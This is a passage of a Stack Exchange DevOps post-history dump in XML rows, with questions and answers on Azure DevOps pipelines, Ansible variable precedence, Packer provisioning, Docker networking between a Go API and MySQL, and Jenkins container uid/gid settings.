  <row Id="32531" PostHistoryTypeId="2" PostId="10583" RevisionGUID="8999623a-c250-4fd6-b467-0b563e6cb777" CreationDate="2020-01-24T05:57:47.387" UserId="19296" Text="Yes you can do this under branch policies. &#xD;&#xA;&#xD;&#xA;From the GUI navigate to **Repos**-&gt; then in the hamburger menu **branches**-&gt; then select your master branch and then ... on choose **Branch Policies**. [Like so](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#configure-branch-policies)&#xD;&#xA;&#xD;&#xA;Then from the branch policies page scroll down and find the **Add Automatic Reviewer** button and set a **path filter** based on the folder.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32532" PostHistoryTypeId="2" PostId="10584" RevisionGUID="e8ddf5be-4875-41e0-8111-6a5981847217" CreationDate="2020-01-24T06:31:13.840" UserId="19296" Text="The stock *Azure Pipelines app for Slack* does not support that workflow of uploading artifacts to Slack. You could use [this marketplace](https://marketplace.visualstudio.com/items?itemName=kasunkodagoda.slack-notification) task and upload your release notes artifact with it.&#xD;&#xA;&#xD;&#xA;Bonus points suggestion, if you are going down the release notes path I would take a look at using Richard Fennell's [Generate Release Notes task](https://marketplace.visualstudio.com/items?itemName=richardfennellBM.BM-VSTS-XplatGenerateReleaseNotes) in combination with the [Wiki Updater task](https://marketplace.visualstudio.com/items?itemName=richardfennellBM.BM-VSTS-WIKIUpdater-Tasks).  &#xD;&#xA;&#xD;&#xA;You can create a generalized Task Group or yaml template that you could pretty much re-use anywhere. For example in the Wiki updater task you can create a release name wiki page formatted like:&#xD;&#xA;```$(Build.Repository.Name)\$(Release.EnvironmentName)\$(Release.ReleaseName).md```&#xD;&#xA;&#xD;&#xA;And then in your Slack message send a generalized link to your release notes.&#xD;&#xA;```Release Notes Wiki link &lt;https://collection-name.visualstudio.com/projectname/_wiki/wikis/Release-Notes?wikiVersion=GBmaster&amp;pagePath=$(Build.Repository.Name)\$(Release.EnvironmentName)\$(Release.ReleaseName)|$(Release.EnvironmentName)\$(Release.ReleaseName)&gt;```&#xD;&#xA;&#xD;&#xA;You could push them back into the Repo that the release originated from or a central release notes repository. Your release notes get source controlled and are nicely organized!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32534" PostHistoryTypeId="50" PostId="7971" RevisionGUID="ea5f7015-d186-4d71-b224-3a41d4797cbd" CreationDate="2020-01-24T09:00:27.807" UserId="-1" />
  <row Id="32535" PostHistoryTypeId="50" PostId="8062" RevisionGUID="14ff7ca9-4935-4be9-9121-bdb21aaff0c0" CreationDate="2020-01-24T10:01:50.217" UserId="-1" />
  <row Id="32536" PostHistoryTypeId="50" PostId="8408" RevisionGUID="756fc1f9-9a8d-4112-901e-db1544d3ae29" CreationDate="2020-01-24T12:01:00.133" UserId="-1" />
  <row Id="32537" PostHistoryTypeId="2" PostId="10585" RevisionGUID="b28c8ba4-a8a0-451e-a2ce-975fdcdae5ac" CreationDate="2020-01-24T13:11:29.553" UserId="19306" Text="I don't think you can alter the trigger right now in Azure DevOps. What I do is to create an extra task to start with, and use powershell (or your language of choice) to check if the week number is even or odd and then proceed with the build or not. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32538" PostHistoryTypeId="2" PostId="10586" RevisionGUID="7594dc55-f371-4ce0-b074-2017f3e0eecc" CreationDate="2020-01-24T13:16:01.523" UserId="19307" Text="Attempting to save a variable's value for backup before modifying it doesn't work.&#xD;&#xA;&#xD;&#xA;I have the following inventory file (note the custom ansible_port and user):&#xD;&#xA;&#xD;&#xA;    all:&#xD;&#xA;        hosts:&#xD;&#xA;                test:&#xD;&#xA;                        ansible_port: 11111&#xD;&#xA;                        ansible_user: user_foo&#xD;&#xA;                        ansible_host: 192.168.56.101 &#xD;&#xA;&#xD;&#xA;And I have the following playbook:&#xD;&#xA;&#xD;&#xA;    - name: Test&#xD;&#xA;      hosts: test&#xD;&#xA;      vars:&#xD;&#xA;              backup_ansible_port: &quot;{{ ansible_port }}&quot;&#xD;&#xA;              backup_ansible_user: &quot;{{ ansible_user }}&quot;&#xD;&#xA;              ansible_port: &quot;{{ tmp_port }}&quot;&#xD;&#xA;              ansible_user: root&#xD;&#xA;      tasks:&#xD;&#xA;              - name: foo&#xD;&#xA;                debug:&#xD;&#xA;                        msg: &#xD;&#xA;                        - &quot;{{ backup_ansible_port }}&quot;&#xD;&#xA;                        - &quot;{{ backup_ansible_user }}&quot;&#xD;&#xA;                        - &quot;{{ ansible_port }}&quot;&#xD;&#xA;                        - &quot;{{ ansible_user }}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Running the following command:&#xD;&#xA;&#xD;&#xA;&gt; ansible-playbook bootstrap_ssh.yml --ask-pass -e 'target=test tmp_port=22'&#xD;&#xA;&#xD;&#xA;The output is the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    TASK [foo] *********************************&#xD;&#xA;      ok: [test] =&gt; {&#xD;&#xA;          &quot;msg&quot;: [&#xD;&#xA;              &quot;22&quot;, &#xD;&#xA;              &quot;root&quot;, &#xD;&#xA;              &quot;22&quot;, &#xD;&#xA;              &quot;root&quot;&#xD;&#xA;          ]&#xD;&#xA;      }&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&gt; Expected output:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    TASK [foo] *********************************&#xD;&#xA;      ok: [test] =&gt; {&#xD;&#xA;          &quot;msg&quot;: [&#xD;&#xA;              &quot;11111&quot;, &#xD;&#xA;              &quot;user_foo&quot;, &#xD;&#xA;              &quot;22&quot;, &#xD;&#xA;              &quot;root&quot;&#xD;&#xA;          ]&#xD;&#xA;      }&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Why is this not the case?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32539" PostHistoryTypeId="1" PostId="10586" RevisionGUID="7594dc55-f371-4ce0-b074-2017f3e0eecc" CreationDate="2020-01-24T13:16:01.523" UserId="19307" Text="Backing up variable value doesn't work as expected" ContentLicense="CC BY-SA 4.0" />
  <row Id="32540" PostHistoryTypeId="3" PostId="10586" RevisionGUID="7594dc55-f371-4ce0-b074-2017f3e0eecc" CreationDate="2020-01-24T13:16:01.523" UserId="19307" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32541" PostHistoryTypeId="4" PostId="10586" RevisionGUID="9545072d-1957-423f-82a7-ea8294ebe027" CreationDate="2020-01-24T13:24:46.970" UserId="19307" Comment="edited title" Text="Ansible: Backing up variable value doesn't work as expected" ContentLicense="CC BY-SA 4.0" />
  <row Id="32542" PostHistoryTypeId="2" PostId="10587" RevisionGUID="fd52d780-42d6-464b-b273-1c3345ebe097" CreationDate="2020-01-24T17:24:22.003" UserId="15792" Text="I went through one of the [guides that linuxserver.io][1] published to get started learning about how to setup the SSL encryption.  I was able to use their guide to use my own images and get up and running Nginx with an SSL cert for my site.&#xD;&#xA;&#xD;&#xA;Automating it into a build workflow can be a challenge if you are not using a static IP.  Additionally, if you need to be able to accept external web traffic you will need to work with however controls your organizations firewall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.linuxserver.io/2019/04/25/letsencrypt-nginx-starter-guide/#whataresslcerts" ContentLicense="CC BY-SA 4.0" />
  <row Id="32543" PostHistoryTypeId="2" PostId="10588" RevisionGUID="2e7a3db6-febd-44b7-9f4c-37ce52901394" CreationDate="2020-01-24T20:13:24.397" UserId="18304" Text="So I am creating a packer template for docker with the image *php:7.0-apache*.&#xD;&#xA;I added a shell provisioner where I try to install ansible so I can provision the image:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;                &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;                &quot;inline&quot;: [&#xD;&#xA;                    &quot;apt-get -y update&quot;,&#xD;&#xA;                    &quot;apt-get install -y software-properties-common&quot;,&#xD;&#xA;                    &quot;apt-add-repository ppa:ansible/ansible&quot;,&#xD;&#xA;                    &quot;apt-get -y update&quot;,&#xD;&#xA;                    &#xD;&#xA;                    &quot;apt-get install -y sudo&quot;,&#xD;&#xA;                    &quot;apt-get install -y ansible&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;&#xD;&#xA;However, I get this error. Why is that?&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lKG1P.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32544" PostHistoryTypeId="1" PostId="10588" RevisionGUID="2e7a3db6-febd-44b7-9f4c-37ce52901394" CreationDate="2020-01-24T20:13:24.397" UserId="18304" Text="Cannot install Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="32545" PostHistoryTypeId="3" PostId="10588" RevisionGUID="2e7a3db6-febd-44b7-9f4c-37ce52901394" CreationDate="2020-01-24T20:13:24.397" UserId="18304" Text="&lt;docker&gt;&lt;ansible&gt;&lt;packer&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32546" PostHistoryTypeId="2" PostId="10589" RevisionGUID="cfbb4690-b95a-4642-ae6e-ba39d140e35d" CreationDate="2020-01-24T20:49:15.977" UserId="16683" Text="As it says, `No such file or directory: 'gpg'`, so you probably need to install `gnupg`:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;apt-get install gnupg&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32547" PostHistoryTypeId="2" PostId="10590" RevisionGUID="db57ebcb-5436-489d-bdca-b9b2dc36c966" CreationDate="2020-01-24T23:41:54.957" UserId="13111" Text="It is the case because of [variable precedence](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable)&#xD;&#xA;&#xD;&#xA;First of all, remember that variables passed as extra vars always win: you can never change them during the run.&#xD;&#xA;&#xD;&#xA;Now let's decompose what happens. The schema is basically the same for all vars where you don't get the expected result. I'll only give the example for `backup_ansible_port`. You can follow the spaghetti yourself for the overs once you got it.&#xD;&#xA;&#xD;&#xA;When you hit the debug task to display `&quot;{{ backup_ansible_port }}&quot;`&#xD;&#xA;&#xD;&#xA;1. The first jinja2 template pass finds it should be an expansion of `ansible_port` as defined in your play vars.&#xD;&#xA;2. `ansible_port` is defined with value &quot;11111&quot; directly in your inventory as a host var (see #8 in above precedence doc) **But** it is also defined as an expansion of `tmp_port` in your play vars which has higher precedence (see #12 in above precedence doc). So the second jinja2 template pass finds it should expand `tmp_port`&#xD;&#xA;3. `tmp_port` has value &quot;22&quot; in your extra vars which will be the final value returned.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32548" PostHistoryTypeId="5" PostId="10590" RevisionGUID="43b01abb-8193-4f1d-a23b-0487fdb88046" CreationDate="2020-01-24T23:47:29.853" UserId="13111" Comment="added 118 characters in body" Text="It is a totally expected result. You define the same variables in different places and ansible applies its [variable precedence](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable)&#xD;&#xA;&#xD;&#xA;First of all, remember that variables passed as extra vars always win: you can never change them in any other place or during the run (i.e. `set_fact`).&#xD;&#xA;&#xD;&#xA;Now let's decompose what happens. The schema is basically the same for all vars where you don't get the expected result. I'll only give the example for `backup_ansible_port`. You can follow the spaghetti yourself for the others once you got it.&#xD;&#xA;&#xD;&#xA;When you hit the debug task to display `&quot;{{ backup_ansible_port }}&quot;`&#xD;&#xA;&#xD;&#xA;1. The first jinja2 template pass finds it should be an expansion of `ansible_port` as defined in your play vars.&#xD;&#xA;2. `ansible_port` is defined with value &quot;11111&quot; directly in your inventory as a host var (see #8 in above precedence doc) **But** it is also defined as an expansion of `tmp_port` in your play vars (see #12 in above precedence doc). Higher precedence wins, so the second jinja2 template pass finds it should expand `tmp_port`&#xD;&#xA;3. `tmp_port` has value &quot;22&quot; in your extra vars which will be the final value returned.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32550" PostHistoryTypeId="2" PostId="10591" RevisionGUID="b7b4c09d-d23e-4469-a12e-8b0dd1006a7e" CreationDate="2020-01-25T03:22:07.750" UserId="19314" Text="I have a mysql database running with the following `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;        services:&#xD;&#xA;            db:&#xD;&#xA;                image: mysql:5.7&#xD;&#xA;                restart: always&#xD;&#xA;                environment:&#xD;&#xA;                    MYSQL_DATABASE: 'demo'&#xD;&#xA;                    # So you don't have to use root, but you can if you like&#xD;&#xA;                    MYSQL_USER: 'user'&#xD;&#xA;                    # You can use whatever password you like&#xD;&#xA;                    MYSQL_PASSWORD: 'password'&#xD;&#xA;                    # Password for root access&#xD;&#xA;                    MYSQL_ROOT_PASSWORD: 'password'&#xD;&#xA;                ports:&#xD;&#xA;                # &lt;Port exposed&gt; : &lt; MySQL Port running inside container&gt;&#xD;&#xA;                    - '3306:3306'&#xD;&#xA;                expose:&#xD;&#xA;                    # Opens port 3306 on the container&#xD;&#xA;                    - '3306'&#xD;&#xA;                # Where our data will be persisted&#xD;&#xA;                volumes:&#xD;&#xA;                    - my-db:/var/lib/mysql&#xD;&#xA;                networks:&#xD;&#xA;                    - backend&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;        backend:&#xD;&#xA;            driver: bridge&#xD;&#xA;    # Names our volume&#xD;&#xA;    volumes:&#xD;&#xA;        my-db:&#xD;&#xA;&#xD;&#xA;`$ docker-compose build`&#xD;&#xA;&#xD;&#xA;`$ docker-compose up`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I have a basic golang rest api with the following `Dockerfile`:&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;    # Start from golang:1.12-alpine base image&#xD;&#xA;    FROM golang:1.12-alpine&#xD;&#xA;    &#xD;&#xA;    # Adding git, bash and openssh to the image&#xD;&#xA;    RUN apk update &amp;&amp; apk upgrade &amp;&amp; \&#xD;&#xA;        apk add --no-cache bash git openssh&#xD;&#xA;    &#xD;&#xA;  &#xD;&#xA;    # Set the Current Working Directory inside the container&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;   &#xD;&#xA;    # Copy the source from the current directory to the Working Directory inside the container&#xD;&#xA;    COPY . .&#xD;&#xA;    RUN go get -d github.com/gorilla/mux&#xD;&#xA;    RUN go get -d github.com/go-sql-driver/mysql&#xD;&#xA;    RUN go get -d github.com/golang-migrate/migrate&#xD;&#xA;    RUN go get -d github.com/golang-migrate/migrate/database/mysql&#xD;&#xA;    RUN go get -d github.com/golang-migrate/migrate/source/file&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Build the Go app&#xD;&#xA;    RUN go build -o main .&#xD;&#xA;    &#xD;&#xA;    # Expose port 8080 to the outside world&#xD;&#xA;    EXPOSE 8080&#xD;&#xA;    &#xD;&#xA;    # Run the executable&#xD;&#xA;    CMD [&quot;./main&quot;]&#xD;&#xA;&#xD;&#xA;and the following function is called:&#xD;&#xA;&#xD;&#xA;    func CreateDatabase() (*sql.DB, error) {&#xD;&#xA;    	serverName := &quot;localhost:3306&quot;&#xD;&#xA;    	user := &quot;user&quot;&#xD;&#xA;    	password := &quot;password&quot;&#xD;&#xA;    	dbName := &quot;demo&quot;&#xD;&#xA;    &#xD;&#xA;    	connectionString := fmt.Sprintf(&quot;%s:%s@tcp(%s)/%s?charset=utf8mb4&amp;collation=utf8mb4_unicode_ci&amp;parseTime=true&amp;multiStatements=true&quot;, user, password, serverName, dbName)&#xD;&#xA;    	db, err := sql.Open(&quot;mysql&quot;, connectionString)&#xD;&#xA;    	if err != nil {&#xD;&#xA;    		return nil, err&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	if err := migrateDatabase(db); err != nil {&#xD;&#xA;    		return db, err&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	return db, nil&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`$ docker run -p 80:8080 --network=&lt;appname&gt;-mysql_backend &lt;imageid&gt;`&#xD;&#xA;&#xD;&#xA;`$ Database connection failed: %sdial tcp 127.0.0.1:3306: connect: connection refused`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I cannot get the api to establish a database connection with the database container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32551" PostHistoryTypeId="1" PostId="10591" RevisionGUID="b7b4c09d-d23e-4469-a12e-8b0dd1006a7e" CreationDate="2020-01-25T03:22:07.750" UserId="19314" Text="docker | database connection refused between two containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="32552" PostHistoryTypeId="3" PostId="10591" RevisionGUID="b7b4c09d-d23e-4469-a12e-8b0dd1006a7e" CreationDate="2020-01-25T03:22:07.750" UserId="19314" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;dockerfile&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32553" PostHistoryTypeId="2" PostId="10592" RevisionGUID="cd11ad04-da58-45de-bbbe-a7b8d4c05ae2" CreationDate="2020-01-25T05:26:54.960" UserId="15792" Text="Your golang api should be included in the compose file and added to the same network.&#xD;&#xA;&#xD;&#xA;It also looks like when you run the golang api that you are adding it to a network other than &lt;code&gt;backend&lt;/code&gt;, which is the network that is created in your compose file." ContentLicense="CC BY-SA 4.0" />
  <row Id="32554" PostHistoryTypeId="50" PostId="9033" RevisionGUID="4306ebdf-5ba7-4b92-bb03-547965f196e1" CreationDate="2020-01-25T06:02:45.403" UserId="-1" />
  <row Id="32555" PostHistoryTypeId="5" PostId="10589" RevisionGUID="9b2e9707-f8d9-4283-bd06-d57b8fd10fda" CreationDate="2020-01-25T08:40:56.617" UserId="16683" Comment="added 33 characters in body" Text="As it says, `No such file or directory: 'gpg'`, so you probably need to install `gnupg` before adding the PPA repository:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;apt-get install gnupg&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32556" PostHistoryTypeId="2" PostId="10593" RevisionGUID="8afcd866-4ea8-4f8b-8a80-4fb61ea18e3d" CreationDate="2020-01-25T09:35:06.903" UserId="19296" Text="I think I see what you are after. Variables created in the Variables tab of the GUI designer are scoped to the entire definition. But you can set a Job Scoped variable from a script within a [GUI based pipeline](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops&amp;tabs=classic%2Cpowershell#set-variables-in-scripts). &#xD;&#xA;&#xD;&#xA;So within the context of each of the Agent Jobs you have defined above, you would add a powershell task that would allow you to set the variable(s) that you then use for the automagic variable substitution in your xml.&#xD;&#xA;&#xD;&#xA;###YAML is better&#xD;&#xA;&#xD;&#xA;If you want to go the [YAML definition](https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started/pipelines-get-started?view=azure-devops&amp;tabs=yaml) route you can actually create Job scoped variables directly in yaml. This example below substitutes against a JSON file but the concepts are similar for xml.&#xD;&#xA;&#xD;&#xA;This is the Json file it substitutes against ```test.json```.&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;    &quot;menu&quot;: {&#xD;&#xA;        &quot;id&quot;: &quot;file&quot;,&#xD;&#xA;        &quot;value&quot;: &quot;File&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;- job: Production&#xD;&#xA;  variables:&#xD;&#xA;    - name: menu.id # Substituting this value in test.json&#xD;&#xA;      value: 'productionValue'&#xD;&#xA;  steps:&#xD;&#xA;    - task: FileTransform@1&#xD;&#xA;      displayName: 'File Transform:'&#xD;&#xA;      inputs:&#xD;&#xA;        folderPath: '$(System.DefaultWorkingDirectory)'&#xD;&#xA;        fileType: json&#xD;&#xA;        targetFiles: test.json&#xD;&#xA;    - task: PowerShell@2&#xD;&#xA;      inputs:&#xD;&#xA;          targetType: 'inline'&#xD;&#xA;          script: |&#xD;&#xA;            Get-Content -Path test.json&#xD;&#xA;&#xD;&#xA;- job: Staging&#xD;&#xA;  variables:&#xD;&#xA;    - name: menu.id  # Substituting this value in test.json&#xD;&#xA;      value: 'stagingValue'&#xD;&#xA;  steps:&#xD;&#xA;    - task: FileTransform@1&#xD;&#xA;      displayName: 'File Transform:'&#xD;&#xA;      inputs:&#xD;&#xA;        folderPath: '$(System.DefaultWorkingDirectory)'&#xD;&#xA;        fileType: json&#xD;&#xA;        targetFiles: test.json&#xD;&#xA;    - task: PowerShell@2&#xD;&#xA;      inputs:&#xD;&#xA;          targetType: 'inline'&#xD;&#xA;          script: |&#xD;&#xA;            Get-Content -Path test.json&#xD;&#xA;```  &#xD;&#xA;### Custom Conditions&#xD;&#xA;Another thing you might want to dig into is that Azure DevOps exposes task level [custom conditions](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=azure-devops&amp;tabs=classic). You could add both transform tasks for Stage and Production to the pipeline definition and then only conditionally run the step you want. &#xD;&#xA;&#xD;&#xA;You need to decide on what that condition is. For example, you could do it based on the source branch (probably better) or just a variable that you can set at queue time. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32557" PostHistoryTypeId="5" PostId="10593" RevisionGUID="401c52ce-19b7-4441-a3d5-9cd440ef604e" CreationDate="2020-01-25T09:41:39.143" UserId="19296" Comment="added 86 characters in body; added 6 characters in body" Text="I think I see what you are after. Build variables created in the Variables tab of the GUI designer are scoped to the entire definition. But you can set a Job Scoped variable from a script within a [GUI based pipeline](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops&amp;tabs=classic%2Cpowershell#set-variables-in-scripts). &#xD;&#xA;&#xD;&#xA;So within the context of each of the Agent Jobs you have defined above, you would add a powershell task that would allow you to set the variable(s) that you then use for the automagic variable substitution in your xml.&#xD;&#xA;&#xD;&#xA;###YAML is better&#xD;&#xA;&#xD;&#xA;If you want to go the [YAML definition](https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started/pipelines-get-started?view=azure-devops&amp;tabs=yaml) route you can actually create Job scoped variables directly in yaml. This example below substitutes against a JSON file but the concepts are similar for xml.&#xD;&#xA;&#xD;&#xA;This is the Json file it substitutes against ```test.json```.&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;    &quot;menu&quot;: {&#xD;&#xA;        &quot;id&quot;: &quot;file&quot;,&#xD;&#xA;        &quot;value&quot;: &quot;File&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;- job: Production&#xD;&#xA;  variables:&#xD;&#xA;    - name: menu.id # Substituting this value in test.json&#xD;&#xA;      value: 'productionValue'&#xD;&#xA;  steps:&#xD;&#xA;    - task: FileTransform@1&#xD;&#xA;      displayName: 'File Transform:'&#xD;&#xA;      inputs:&#xD;&#xA;        folderPath: '$(System.DefaultWorkingDirectory)'&#xD;&#xA;        fileType: json&#xD;&#xA;        targetFiles: test.json&#xD;&#xA;    - task: PowerShell@2&#xD;&#xA;      inputs:&#xD;&#xA;          targetType: 'inline'&#xD;&#xA;          script: |&#xD;&#xA;            Get-Content -Path test.json&#xD;&#xA;&#xD;&#xA;- job: Staging&#xD;&#xA;  variables:&#xD;&#xA;    - name: menu.id  # Substituting this value in test.json&#xD;&#xA;      value: 'stagingValue'&#xD;&#xA;  steps:&#xD;&#xA;    - task: FileTransform@1&#xD;&#xA;      displayName: 'File Transform:'&#xD;&#xA;      inputs:&#xD;&#xA;        folderPath: '$(System.DefaultWorkingDirectory)'&#xD;&#xA;        fileType: json&#xD;&#xA;        targetFiles: test.json&#xD;&#xA;    - task: PowerShell@2&#xD;&#xA;      inputs:&#xD;&#xA;          targetType: 'inline'&#xD;&#xA;          script: |&#xD;&#xA;            Get-Content -Path test.json&#xD;&#xA;```  &#xD;&#xA;### Custom Conditions&#xD;&#xA;Another thing you might want to dig into is that Azure DevOps exposes task level [custom conditions](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=azure-devops&amp;tabs=classic). You could add both transform tasks for Stage and Production to the pipeline definition and then only conditionally run the step you want. You could potentially collapse this into just one job and only build what you need to.&#xD;&#xA;&#xD;&#xA;You need to decide on what that condition is. For example, you could do it based on the source branch (probably better) or just a variable that you can set at queue time. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32558" PostHistoryTypeId="2" PostId="10594" RevisionGUID="330bc32c-36f6-4d21-a893-86480d45e4c2" CreationDate="2020-01-25T15:24:47.767" UserId="19317" Text="I have the following `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM jenkins/jenkins:latest&#xD;&#xA;&#xD;&#xA;I'm build a Jenkins container as follows:&#xD;&#xA;&#xD;&#xA;    docker build -t my-jenkins --build-arg uid=1003 --build-arg gid=1003 .&#xD;&#xA;&#xD;&#xA;I then run the image as follows:&#xD;&#xA;&#xD;&#xA;    docker run -it -p 8080:8080 my-jenkins&#xD;&#xA;&#xD;&#xA;I go to `localhost:8080` and finish installation (without any plugins selected).&#xD;&#xA;&#xD;&#xA;I then create a job with a single shell command:&#xD;&#xA;&#xD;&#xA;    id&#xD;&#xA;&#xD;&#xA;I run the job and I expect the output of the job to be&#xD;&#xA;&#xD;&#xA;    + id&#xD;&#xA;    uid=1003(jenkins) gid=1003(jenkins) groups=1003(jenkins)&#xD;&#xA;&#xD;&#xA;The output however, is&#xD;&#xA;&#xD;&#xA;    + id&#xD;&#xA;    uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)&#xD;&#xA;&#xD;&#xA;which seems to indicate that my `--build-arg`s for `uid` and `gid` are **completely ignored**.&#xD;&#xA;&#xD;&#xA;Why is this? The Jenkins Dockerfile [should accept uid/gid as guild args](https://github.com/jenkinsci/docker/blob/master/Dockerfile)." ContentLicense="CC BY-SA 4.0" />
  <row Id="32559" PostHistoryTypeId="1" PostId="10594" RevisionGUID="330bc32c-36f6-4d21-a893-86480d45e4c2" CreationDate="2020-01-25T15:24:47.767" UserId="19317" Text="Running Jenkins in docker with custom uid / gid" ContentLicense="CC BY-SA 4.0" />
  <row Id="32560" PostHistoryTypeId="3" PostId="10594" RevisionGUID="330bc32c-36f6-4d21-a893-86480d45e4c2" CreationDate="2020-01-25T15:24:47.767" UserId="19317" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32561" PostHistoryTypeId="2" PostId="10595" RevisionGUID="089cf3c0-d7f1-462f-b8b3-2775c04ea1a6" CreationDate="2020-01-25T16:13:38.317" UserId="19317" Text="As usual I think I came up with the answers shortly after spelling out the problem carefully here. I would be great if someone could confirm that my understanding is correct.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TL;DR: It's not possible to use `--build-arg` for `FROM` images&#xD;&#xA;--&#xD;&#xA;The `FROM` command basically tells docker what binary image to start from. The `FROM` image is not built recursively. This obviously means that `--build-arg` won't be taken into account in the `FROM` image.&#xD;&#xA;&#xD;&#xA;So why is `uid` and `gid` even `ARG`s in the first place if I can't use them?&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;It _is_ possible to use them in a reasonable straight forward way. `docker build` accepts git repo URLs when building, so you can indeed kick off a Jenkins docker with custom `uid` and `gid` quite easily as follows:&#xD;&#xA;&#xD;&#xA;    docker build -t my-jenkins --build-arg uid=1003 --build-arg gid=1003 https://github.com/jenkinsci/docker.git&#xD;&#xA;    docker run -it -p 8080:8080 --rm my-jenkins&#xD;&#xA;&#xD;&#xA;But I need to create my own `Dockerfile` :-(&#xD;&#xA;--&#xD;&#xA;If you really need to custobmize the Jenkins image _and_ need a custom uid / gid, the best way forward is to change the uid / gid of the Jenkins user in your Dockerfile. The uid = 1000 and gid = 1000 is already hardwired when your part of the Dockerfile kicks in." ContentLicense="CC BY-SA 4.0" />
  <row Id="32562" PostHistoryTypeId="5" PostId="10588" RevisionGUID="09edc384-590f-4101-8943-cfcc4d7b33fb" CreationDate="2020-01-25T17:22:08.400" UserId="18304" Comment="added 186 characters in body" Text="So I am creating a packer template for docker with the image *php:7.0-apache*.&#xD;&#xA;I added a shell provisioner where I try to install ansible so I can provision the image:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;                &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;                &quot;inline&quot;: [&#xD;&#xA;                    &quot;apt-get -y update&quot;,&#xD;&#xA;                    &quot;apt-get install -y software-properties-common&quot;,&#xD;&#xA;                    &quot;apt-add-repository ppa:ansible/ansible&quot;,&#xD;&#xA;                    &quot;apt-get -y update&quot;,&#xD;&#xA;                    &#xD;&#xA;                    &quot;apt-get install -y sudo&quot;,&#xD;&#xA;                    &quot;apt-get install -y ansible&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;&#xD;&#xA;However, I get this error. Why is that?&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**: After installing the gnupg package, there still seems to be issues that result in the building process to fail:&#xD;&#xA;&#xD;&#xA;[![][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 